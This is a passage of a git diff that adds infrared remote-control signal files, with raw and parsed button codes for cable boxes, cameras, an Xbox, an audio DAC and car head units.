181 6302 179 2314 172 6312 180 11788 177 14787 174 2322 175 11315 181 7801 179 6305 177 2317 180 6304 178 9299 179 2314 183 14779 182 2314 172 11317 179 7803 177 6307 174 2320 177 6307 174 9302 176 2318 178 12306 179 2297 179 2317 179 11310 176 7807 173 3817 178 2316 180 2313 173 3816 179 2315 181 9295 173 2321 175 12310 175 2301 175 2320 177 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 172 7810 180 6304 177 2316 180 6303 178 28251 173 12317 178 7805 175 6309 172 2321 175 6309 172 15306 175 5311 182 7282 177 12312 182 7800 180 6304 177 2316 180 6304 177 13804 179 1317 181 3810 174 1321 177 4811 172 2303 173 12317 177 7805 174 6309 183 2311 175 6309 172 10817 180 1316 182 1314 173 1323 175 2319 177 1318 180 1316 182 2312 174 2302 174 2321 175 12312 182 7800 179 6305 176 2317 179 6305 176 10812 174 1322 176 1320 178 1318 180 2314 172 1324 174 1322 176 2318 178 2297 179 2317 179 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 178 7805 175 6309 172 2320 177 6308 173 25762 176 6310 182 8317 172 7808 172 6312 180 2313 173 3817 178 2316 181 10790 176 6809 172 5315 178 2315 182 3808 177 2317 179 8320 180 7800 180 3810 175 2319 178 2316 180 3809 175 2318 178 5308 175 5312 181 6801 180 5307 176 2317 179 3810 174 2319 177 8322 178 7802 178 1319 179 2314 172 2322 175 2319 178 1318 180 2314 172 2321 176 5311 182 5305 177 6806 175 5311 182 2311 175 3815 180 2314 172 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 178 7804 175 3815 180 2314 182 2311 175 3815 180 2314 172 5314 179 3811 173 2320 177 6806 175 5312 181 2313 173 3817 178 9818 180 7800 179 3811 173 2320 176 2317 179 3811 173 2320 176 5310 172 3818 177 2317 179 6803 178 5309 173 2320 176 3813 181 9814 173 7807 173 3818 177 2316 180 2313 173 3817 178 2316 180 5306 177 3813 182 2312 174 6809 182 5304 178 2315 181 3809 175 9820 177 7803 176 3813 182 2312 174 2319 178 3813 182 2312 174 5312 181 3809 175 2318 179 6804 177 5310 172 2321 175 3814 181 9815 172 7808 182 3808 176 2318 178 2315 181 3808 176 2317 179 5307 175 3815 180 2314 172 6811 180 5306 176 2317 179 3811 173 +# +name: Select +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 179 7802 179 6307 175 2319 178 10296 182 2312 174 12328 179 2297 179 10794 173 8309 181 7801 180 6305 177 2316 181 7799 181 2312 174 2319 178 14784 179 10795 172 8329 182 7798 183 6302 180 2313 173 7807 173 2320 177 2317 180 14782 181 10793 174 8327 173 7807 173 3816 179 2314 172 2322 175 7805 176 2318 179 2315 182 12304 182 2293 183 10791 176 +# +name: Chan_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 7803 177 6306 175 2319 177 9300 178 2315 181 3808 176 2317 179 9297 181 3810 174 15306 175 7808 172 3818 177 2317 179 2313 173 5314 179 3811 173 2320 177 3813 182 2312 174 9303 175 3815 180 5306 177 9819 178 7802 178 3812 172 2321 175 2318 179 9298 180 2314 182 3808 176 2317 179 9297 181 3809 175 +# +name: Chan_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 7807 172 3817 178 2315 181 2313 173 5313 180 3811 173 2319 177 5309 173 6810 181 2313 173 3816 179 5308 174 2319 177 8321 178 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 176 6806 174 2320 176 3813 182 5305 177 2316 180 8319 180 7801 179 3812 172 2321 175 2318 178 5307 175 3815 180 2314 172 5314 179 6804 177 2317 179 3810 174 5312 181 2313 173 8326 173 7807 172 3818 177 2316 180 2313 173 5314 179 3811 173 2320 176 5310 172 6811 180 2313 173 3817 178 5308 174 2320 176 8322 177 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 177 6806 175 2319 177 3812 172 5314 179 2315 181 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 172 7810 180 8798 180 10826 181 7265 174 17320 179 11277 177 7805 175 8803 175 18278 179 15800 181 4308 176 8305 174 7809 181 8796 182 15795 175 2301 175 18797 180 1316 182 8299 180 7803 177 8801 177 13306 177 2316 180 2295 181 10811 175 2318 178 2315 181 1314 173 1323 175 1321 177 +# +name: 1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 178 7805 174 3816 178 2315 181 2312 174 5312 181 2314 182 6800 181 2313 173 6809 182 2310 176 5314 179 2314 172 2321 175 9821 176 7803 176 3814 180 2313 173 2320 176 5311 182 2311 175 6808 173 2321 175 9301 177 7804 176 2318 178 9817 180 7800 180 6305 176 2317 179 10810 176 1320 178 7802 178 1319 179 4808 175 2818 178 7286 173 +# +name: 2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 177 7805 174 3816 179 2315 181 2312 174 5312 181 2314 172 5313 180 3811 173 9304 174 5311 182 2312 174 3816 179 8320 179 7801 179 3812 172 2321 175 2318 178 5308 174 2320 176 5309 173 3817 178 6805 176 2318 178 5308 174 2319 177 3813 181 8318 181 7799 180 3810 174 2319 177 2316 180 5306 176 2318 178 5308 174 3815 179 6804 176 2317 179 5307 175 2318 178 3812 172 8327 172 7809 181 3809 175 2318 178 2315 181 5305 177 2316 180 9297 181 9296 182 7799 180 3810 174 +# +name: 3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7810 180 6304 177 2318 178 7801 178 7802 177 2317 179 28768 175 7808 182 6303 178 2315 181 18271 175 28776 177 7805 174 6310 181 2312 174 10815 181 7282 177 12311 173 7807 172 +# +name: 4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7801 179 3812 172 2320 176 2318 178 7801 179 18792 175 11778 176 8326 173 7808 172 6311 181 2314 172 20294 181 1315 172 7808 182 17278 179 7804 175 8802 176 14803 179 5308 175 1321 177 7804 176 3814 181 +# +name: 5 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 174 7809 182 6302 180 2314 172 18281 177 28773 174 7809 182 6302 180 2313 173 18298 181 28752 174 7809 182 6302 180 2314 172 18281 177 9302 176 +# +name: 6 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7810 180 3810 174 2320 177 2317 179 5307 176 2317 179 3812 172 2320 176 3815 180 6800 181 2315 181 5305 203 5281 176 8327 172 7807 172 3818 177 2317 179 2314 172 5314 179 2315 181 3808 176 2318 178 3811 173 6810 181 2313 173 5313 180 5307 175 8323 176 7804 176 3815 179 2314 172 2321 175 5311 182 2312 174 3816 179 2314 182 3808 176 6806 175 2319 177 5309 173 5313 180 8320 179 7801 178 3811 173 2321 175 2318 178 5308 174 2319 177 3813 182 2312 174 3816 179 6804 177 2317 179 5307 176 5311 172 +# +name: 7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 7808 182 3809 175 2318 178 2315 181 5305 177 2316 180 3810 174 2319 177 2316 180 2313 173 1341 177 5291 181 2313 173 5313 179 4327 177 8306 172 7808 181 3809 175 2318 178 2315 181 5305 177 2317 179 3810 174 2320 176 2317 179 2314 182 9295 172 18301 176 7807 172 3818 177 2316 180 2313 173 7808 182 3808 176 2318 178 2315 181 2312 174 9303 174 +# +name: 8 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7809 181 8798 180 11824 182 2793 182 2329 178 4294 179 16780 178 8303 175 7807 173 8806 172 10302 174 25779 179 2297 179 8322 177 7803 177 6308 173 2320 176 10299 177 11310 176 4812 181 2811 174 1322 176 4812 181 2294 182 +# +name: 9 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7809 181 3809 175 2318 178 2315 181 5305 178 2316 180 2314 172 7808 182 9295 172 9305 173 9823 175 7805 175 6310 182 2312 174 7806 174 2320 177 7804 176 9301 177 9300 178 9818 180 7800 180 3811 173 2320 177 2317 179 5307 176 2318 178 2315 181 5305 178 2316 180 6802 179 2315 181 6801 180 2315 181 +# +name: 0 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 7824 176 1320 178 2316 180 2330 177 2317 179 1316 182 1315 172 2285 180 2312 616 879 619 884 182 1309 178 1336 182 2293 172 6811 180 2314 182 5305 177 2316 180 2313 173 2321 175 8323 176 7805 174 3815 179 2314 182 2312 174 5312 181 2313 173 8307 172 6811 180 2313 173 5314 179 2315 181 2312 174 2319 178 8322 177 7803 176 3814 181 2313 173 2320 176 5310 172 2322 174 8304 175 6808 173 2321 175 5311 182 2312 174 2319 177 2316 180 diff --git a/assets/resources/infrared/Cable Boxes/Telus/Telus_OptikTV.ir b/assets/resources/infrared/Cable Boxes/Telus/Telus_OptikTV.ir new file mode 100644 index 000000000..1d8783f72 --- /dev/null +++ b/assets/resources/infrared/Cable Boxes/Telus/Telus_OptikTV.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 429 294 177 269 176 604 172 441 180 265 180 601 175 270 175 271 174 271 174 272 173 607 180 434 177 603 173 272 173 273 172 747 180 294 177 89406 428 296 175 271 174 606 181 404 181 293 178 602 174 271 174 272 173 273 172 274 171 609 178 435 176 576 180 294 172 274 181 738 178 295 176 +# +name: Guide +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 422 302 179 266 179 602 174 438 173 274 171 581 180 294 177 269 176 270 175 577 179 602 180 433 178 631 171 748 179 295 176 772 181 265 180 88599 426 298 173 273 172 581 180 461 176 270 175 578 178 296 180 266 179 267 178 602 174 578 178 463 179 574 176 799 179 267 178 742 179 294 172 +# +name: Back_exit +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 426 298 173 273 172 608 179 435 176 270 175 605 171 274 181 265 180 266 179 573 177 631 182 404 176 632 175 577 179 296 180 266 179 768 174 88781 430 267 178 295 176 604 172 413 177 297 179 574 176 297 174 272 173 273 172 608 179 602 174 411 179 601 181 628 174 272 173 273 172 747 180 88810 427 297 174 272 173 608 179 434 177 269 176 605 171 274 181 265 180 266 179 573 177 604 178 463 179 574 182 627 180 266 179 267 178 770 172 +# +name: Menu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 429 295 176 270 175 605 182 432 179 267 178 574 182 292 174 272 173 273 172 274 181 599 177 435 176 605 171 413 177 464 178 408 177 297 174 89437 425 298 173 273 172 609 178 407 178 296 175 606 181 265 180 266 179 266 179 267 178 575 181 460 171 609 178 435 176 410 180 433 178 296 180 89428 423 300 181 265 180 600 176 409 181 293 173 607 180 266 179 267 178 268 177 269 176 576 180 461 181 600 176 436 175 438 173 441 180 265 180 +# +name: PVR +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 430 294 177 269 176 604 172 441 180 265 180 601 175 270 175 271 174 271 174 607 180 600 176 409 181 599 177 435 181 293 178 435 176 270 175 89260 427 297 174 272 173 579 177 464 178 268 177 575 181 293 173 273 172 274 181 571 179 628 174 439 172 608 179 407 178 295 176 437 174 272 173 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 429 295 176 269 176 577 179 434 177 297 179 573 177 296 175 271 174 272 173 579 177 604 177 435 181 600 176 437 179 434 177 603 179 296 180 88921 423 302 179 266 179 602 174 410 180 294 172 609 178 268 177 269 176 269 176 605 171 609 178 407 178 603 179 462 180 434 177 604 172 273 172 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 421 303 178 267 178 602 174 439 172 274 181 599 177 268 177 269 176 270 175 270 175 605 182 432 179 601 175 410 180 461 181 571 179 601 181 88939 427 297 174 272 173 607 180 406 179 295 176 604 172 273 172 274 181 265 180 266 179 601 175 437 174 579 177 464 178 436 175 605 171 581 180 +# +name: Ok +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 428 296 175 271 174 606 181 432 179 267 178 602 175 271 174 272 173 273 172 274 171 609 178 435 176 605 172 441 180 433 178 770 172 273 172 89102 429 295 176 270 175 577 179 462 180 266 179 602 175 271 174 272 173 272 173 273 172 609 178 435 176 605 171 441 180 433 178 770 172 273 172 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 427 297 174 272 173 607 180 433 178 268 177 604 172 273 172 274 181 264 181 600 176 603 173 440 181 599 177 436 175 438 173 608 179 769 173 88443 425 299 172 274 181 599 177 436 175 271 174 606 181 266 179 266 179 267 178 603 173 579 177 464 178 575 181 460 171 442 179 573 177 798 180 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 429 295 176 270 175 605 171 442 179 266 179 602 174 271 174 272 173 273 172 274 171 609 178 436 175 605 171 442 179 434 177 604 172 440 181 89098 423 301 180 266 179 601 175 410 180 294 172 608 179 268 177 268 177 269 176 270 175 605 182 432 179 573 177 436 180 461 181 572 178 435 181 +# +name: Ch_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 423 300 181 265 180 572 179 462 175 271 174 579 177 297 179 266 179 267 178 602 174 578 178 463 179 574 176 297 174 578 178 296 180 266 179 89260 428 296 175 271 174 578 178 463 179 267 178 603 173 272 173 273 172 274 181 571 179 629 173 439 182 571 179 294 177 576 180 294 172 274 181 +# +name: Ch_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 424 272 178 268 177 603 178 462 175 244 180 600 176 297 179 238 181 265 180 294 177 575 181 433 178 630 177 241 178 602 180 266 179 434 177 89460 425 299 172 246 178 630 177 436 175 243 181 627 180 238 176 297 179 239 180 266 179 601 181 433 178 602 180 266 179 629 173 273 172 413 177 +# +name: 1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 425 300 181 264 181 600 176 436 175 271 174 607 180 266 179 267 178 268 177 269 176 604 172 441 180 600 176 269 176 270 175 271 174 439 172 89773 424 300 181 265 180 600 176 437 174 272 173 607 180 266 179 267 178 268 177 268 177 604 172 440 181 599 177 269 176 270 175 270 175 410 180 +# +name: 2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 424 272 178 296 180 572 179 462 175 243 181 627 180 238 176 297 179 267 178 603 174 579 177 436 180 628 174 244 180 265 180 294 172 581 180 89292 431 265 180 266 179 601 181 433 178 296 180 572 179 267 178 268 177 268 177 604 178 603 179 434 177 631 182 264 181 237 177 269 176 604 178 +# +name: 3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 424 300 181 265 180 600 176 409 181 293 173 607 180 266 179 267 178 268 177 269 176 604 172 440 181 600 176 269 176 270 175 270 175 773 179 89438 423 301 180 266 179 573 177 464 173 273 172 608 179 267 178 268 177 269 176 270 175 605 182 404 176 605 177 297 174 272 173 272 173 775 178 +# +name: 4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 428 268 177 297 174 578 178 464 178 268 177 603 173 272 173 273 172 274 181 599 177 575 181 460 171 609 178 268 177 268 177 408 177 297 174 89451 422 302 179 267 178 574 176 464 173 273 172 581 180 293 178 268 177 269 176 604 172 580 181 460 177 604 172 273 172 274 181 404 181 293 178 +# +name: 5 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 431 266 179 293 178 575 181 432 179 295 181 571 180 266 179 295 176 269 176 270 175 605 182 431 180 573 177 296 175 271 174 411 179 462 180 89592 426 298 173 245 179 601 181 432 179 267 178 602 180 294 172 274 181 265 180 266 179 573 178 435 181 600 177 297 179 239 180 433 178 463 174 +# +name: 6 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 431 293 178 268 177 603 173 440 181 265 180 600 176 269 176 270 175 271 174 606 181 599 177 436 175 578 178 296 180 266 179 434 177 603 173 89118 422 303 178 267 178 603 173 439 172 274 181 599 177 269 176 270 175 271 174 606 181 600 176 436 175 606 181 265 180 266 179 435 176 605 171 +# +name: 7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 423 274 176 268 177 631 177 409 181 264 181 628 180 266 179 266 179 267 178 239 180 600 182 459 172 580 176 270 180 265 180 461 176 744 178 89295 427 297 174 271 174 579 177 436 180 294 177 603 174 244 180 294 172 274 171 274 181 571 180 434 177 603 179 267 178 268 177 464 178 769 173 +# +name: 8 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 421 303 178 239 180 600 182 432 179 295 181 571 180 294 177 269 176 270 175 577 179 630 178 435 176 605 171 274 171 275 180 600 177 269 176 89269 428 267 178 296 175 577 179 463 179 238 181 600 177 297 174 243 181 293 173 579 177 632 176 437 174 579 177 297 179 238 181 628 175 271 174 +# +name: 9 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 431 293 178 240 179 601 181 433 178 296 180 572 179 296 175 270 175 271 174 272 173 579 177 465 177 575 181 293 173 274 171 581 180 461 176 89420 422 302 179 267 178 602 175 411 179 294 172 609 178 240 179 294 177 269 176 269 176 577 179 462 180 600 177 269 176 270 175 577 179 434 177 +# +name: 0 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 423 301 180 266 179 601 176 438 173 273 172 608 179 267 178 268 177 268 177 604 173 607 180 434 177 603 174 272 173 273 172 274 181 264 181 89589 426 298 173 273 172 608 179 434 177 269 176 604 173 273 172 273 172 274 181 599 178 602 175 439 172 608 179 267 178 267 178 268 177 269 176 +# +name: Prev_ch +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 431 293 178 268 177 603 174 439 172 274 181 599 178 268 177 269 176 270 175 271 174 606 181 404 176 632 176 270 175 271 174 606 181 600 176 89267 427 297 174 271 174 607 180 433 178 268 177 576 180 294 172 274 171 275 180 265 180 600 177 437 174 606 181 265 180 266 179 602 175 605 171 +# +name: Rec +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 429 295 176 270 175 606 181 432 179 267 178 574 182 292 174 273 172 273 172 581 180 628 175 438 173 580 176 298 178 770 172 441 180 767 175 88427 430 294 177 269 176 605 171 441 180 266 179 573 178 296 175 271 174 272 173 607 180 573 178 464 173 579 177 297 179 769 173 412 178 797 176 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 431 294 177 269 176 604 172 441 180 266 179 601 176 270 175 271 174 272 173 272 173 608 179 434 177 603 174 273 172 273 172 776 177 743 179 88967 429 295 176 242 177 631 182 432 179 266 179 574 177 297 174 272 173 272 173 273 172 608 179 434 177 576 180 294 172 274 181 766 176 772 181 +# +name: Rewind +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 510 187 180 292 174 606 181 433 178 268 177 575 181 293 173 273 172 274 181 264 181 572 179 434 177 603 179 296 180 572 179 630 172 412 178 89121 423 302 179 266 179 601 176 410 180 293 173 580 176 298 178 268 177 268 177 269 176 604 172 413 177 603 179 295 176 576 180 629 179 407 178 +# +name: Fast_fw +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 422 302 179 266 179 602 174 438 173 273 172 608 179 267 178 268 177 269 176 604 172 608 179 434 177 604 172 273 172 608 179 602 174 271 174 88952 426 300 171 275 180 600 176 436 175 272 173 607 180 267 178 268 177 269 176 604 172 608 179 435 176 604 172 274 181 599 177 603 173 272 173 +# +name: Jump_back +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 425 299 172 274 181 571 180 462 175 271 174 606 181 265 180 266 179 267 178 602 175 578 178 463 179 574 177 437 179 294 172 776 177 437 174 88767 426 298 173 245 179 629 179 434 177 269 176 576 180 294 172 274 181 265 180 572 179 630 172 441 180 600 176 409 181 292 174 746 181 461 176 +# +name: Jump_fwd +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 427 298 173 272 173 608 179 434 177 269 176 576 180 294 172 274 181 264 181 600 176 603 174 440 181 571 180 462 175 271 174 773 180 267 178 88938 430 295 176 269 176 605 171 441 180 266 179 601 176 271 174 271 174 272 173 608 179 573 177 464 173 580 176 465 177 269 176 772 181 265 180 +# +name: Play_pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 422 302 179 267 178 602 175 439 172 274 171 609 178 268 177 269 176 270 175 270 175 606 181 432 179 573 178 297 174 773 180 266 179 267 178 89428 430 295 176 269 176 605 171 413 177 297 179 601 176 270 175 271 174 272 173 272 173 608 179 406 179 601 181 293 173 747 180 294 177 269 176 89432 426 298 173 273 172 580 176 465 177 269 176 577 179 295 181 265 180 265 180 266 179 574 177 464 173 607 180 266 179 769 173 272 173 273 172 89436 422 302 179 267 178 602 175 438 173 273 172 609 178 268 177 269 176 269 176 270 175 605 182 432 179 601 175 271 174 773 180 266 179 267 178 \ No newline at end of file diff --git a/assets/resources/infrared/Cameras/Sony/Nikon.ir b/assets/resources/infrared/Cameras/Sony/Nikon.ir new file mode 100644 index 000000000..87771989a --- /dev/null +++ b/assets/resources/infrared/Cameras/Sony/Nikon.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: Take_photo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1989 27513 408 1569 386 3503 408 62013 1985 27517 404 1573 382 3506 405 diff --git a/assets/resources/infrared/Cameras/Sony/Sony.ir b/assets/resources/infrared/Cameras/Sony/Sony.ir new file mode 100644 index 000000000..0f618969f --- /dev/null +++ b/assets/resources/infrared/Cameras/Sony/Sony.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Photo +type: parsed +protocol: SIRC20 +address: 3A 1E 00 00 +command: 2D 00 00 00 +# +name: Photo_2s +type: parsed +protocol: SIRC20 +address: 3A 1E 00 00 +command: 37 00 00 00 +# +name: Rec +type: parsed +protocol: SIRC20 +address: 3A 1E 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/Consoles/Microsoft/Xbox.ir b/assets/resources/infrared/Consoles/Microsoft/Xbox.ir new file mode 100644 index 000000000..948d0410c --- /dev/null +++ b/assets/resources/infrared/Consoles/Microsoft/Xbox.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Xbox_power +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 2F D0 00 00 +# +name: Xbox_up +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 1E E1 00 00 +# +name: Xbox_down +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 1F E0 00 00 +# +name: Xbox_left +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 20 DF 00 00 +# +name: Xbox_right +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 21 DE 00 00 +# +name: Xbox_select +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 22 DD 00 00 diff --git a/assets/resources/infrared/Converters/RME/RME_ADI-2_DAC_FS.ir b/assets/resources/infrared/Converters/RME/RME_ADI-2_DAC_FS.ir new file mode 100644 index 000000000..4d136060c --- /dev/null +++ b/assets/resources/infrared/Converters/RME/RME_ADI-2_DAC_FS.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 20 DF 00 00 +# +name: SEL +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 35 CA 00 00 +# +name: BT +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 2B D4 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 2C D3 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 2D D2 00 00 +# +name: Bass_up +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 2F D0 00 00 +# +name: Bass_down +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 30 CF 00 00 +# +name: Treble_up +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 31 CE 00 00 +# +name: Treble_down +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 32 CD 00 00 +# +name: Volume_up +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 22 DD 00 00 +# +name: Volume_down +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 21 DE 00 00 +# +name: VOL +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 2E D1 00 00 +# +name: Channl_L +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 33 CC 00 00 +# +name: Channel_R +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 34 CB 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 23 DC 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 24 DB 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 25 DA 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 26 D9 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 27 D8 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 28 D7 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 29 D6 00 00 +# +name: Buttom_mute +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 2A D5 00 00 diff --git a/assets/resources/infrared/Converters/ReadMe.md b/assets/resources/infrared/Converters/ReadMe.md new file mode 100644 index 000000000..ab11a21b7 --- /dev/null +++ b/assets/resources/infrared/Converters/ReadMe.md @@ -0,0 +1 @@ +Digital and/or analog converters diff --git a/assets/resources/infrared/Head Units/GPX/GPX_CDRadio.ir b/assets/resources/infrared/Head Units/GPX/GPX_CDRadio.ir new file mode 100644 index 000000000..84b3e3f27 --- /dev/null +++ b/assets/resources/infrared/Head Units/GPX/GPX_CDRadio.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Stop +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 09 00 00 00 +# +name: Play_pause +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 01 00 00 00 +# +name: Skip_bck +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 19 00 00 00 +# +name: Skip_fwd +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 11 00 00 00 +# +name: Prog +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 1A 00 00 00 +# +name: Repeat +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 02 00 00 00 diff --git a/assets/resources/infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir b/assets/resources/infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir new file mode 100644 index 000000000..c44576983 --- /dev/null +++ b/assets/resources/infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir @@ -0,0 +1,22 @@ +Pioneer_mute RAW F:38000 DC:33 8551 4219 566 1562 563 534 544 1584 541 1587 549 524 543 1584 541 506 572 1582 543 528 540 1564 571 526 542 531 547 1581 544 528 540 1563 573 525 542 1560 565 532 546 527 541 1587 538 1590 546 527 541 532 546 526 541 531 547 1581 544 1584 541 506 572 526 542 1586 539 1589 547 1556 569 26876 8542 4226 569 1584 541 1588 548 1581 544 1585 540 531 547 1582 543 529 539 1590 546 526 541 530 548 525 543 529 539 1589 547 526 542 1587 538 533 545 527 541 531 547 525 542 529 539 1590 546 1583 542 529 538 533 545 1584 541 1587 549 1580 545 1559 566 531 547 525 543 1586 539 1589 547 +Vol_up RAW F:38000 DC:33 8548 4219 565 1562 573 524 543 1559 566 1562 563 534 544 1559 566 531 547 1581 544 528 540 1588 547 525 542 529 538 1589 546 526 541 1586 539 533 545 527 541 1562 573 524 543 1584 541 530 548 525 542 504 574 524 543 1559 566 531 547 1556 569 528 539 1588 547 1555 570 1558 567 1586 539 26875 8540 4227 568 1559 566 531 547 1556 569 1559 566 506 572 1556 569 503 564 1563 572 525 542 1560 565 507 571 526 541 1562 563 509 569 1558 567 530 548 525 542 1585 540 532 546 1557 568 529 538 534 544 528 539 533 545 1558 567 505 573 1556 569 528 539 1563 572 1581 544 1559 566 1586 539 +Vol_dwn RAW F:38000 DC:33 8546 4221 564 1588 547 525 542 1585 540 1588 548 525 542 1585 540 532 546 1582 543 529 538 1564 571 526 541 531 547 1581 544 528 540 1588 547 525 542 1586 539 1589 546 526 541 1586 539 533 545 528 539 533 545 527 540 532 546 526 541 1587 538 534 544 1584 541 1586 539 1589 546 1581 544 26872 8543 4223 572 1581 544 528 540 1588 547 1580 545 527 540 1587 549 524 543 1584 541 531 547 1581 544 528 539 508 570 1583 542 530 548 1580 545 527 540 1587 549 1579 546 526 542 1587 538 534 544 528 540 533 545 527 541 532 546 526 541 1586 539 533 545 1583 542 1560 565 1588 547 1580 545 26873 8542 4226 569 1583 542 530 548 1580 545 1583 542 530 548 1580 545 527 540 1587 538 534 544 1584 541 531 547 525 542 1585 540 532 546 1582 543 530 548 1579 546 1582 543 529 539 1589 547 525 542 530 548 524 544 528 539 533 545 527 541 1587 548 524 543 1584 541 1586 539 1589 546 1581 544 +Mode RAW F:38000 DC:33 8549 4218 567 1586 539 533 545 1583 542 1586 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 525 542 530 548 1580 545 528 539 1588 547 525 542 1585 540 533 545 527 541 1588 547 1580 545 527 541 532 546 527 540 532 546 1581 544 1583 542 531 547 525 542 1585 540 1587 548 1579 546 26867 8548 4216 569 1559 566 1587 548 1580 545 1583 542 530 548 1580 545 527 540 1587 549 523 544 527 541 531 547 525 542 1586 539 532 546 1582 543 529 538 1590 545 1583 542 1586 539 533 545 1583 542 1586 539 532 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 538 1590 545 1557 568 +Menu RAW F:38000 DC:33 8542 4224 571 1582 543 529 538 1589 546 1557 568 529 539 1589 547 525 543 1585 540 532 546 1557 568 504 563 534 544 1584 541 531 547 1580 545 528 539 1588 547 525 542 529 549 1579 546 1582 543 529 538 534 544 1584 541 532 546 1582 543 1584 541 531 547 526 541 1587 538 1589 546 526 541 26879 8544 4226 568 1561 564 1566 569 1560 565 1564 571 526 541 1562 573 524 543 1560 565 532 546 526 541 530 548 524 543 1561 564 533 545 1559 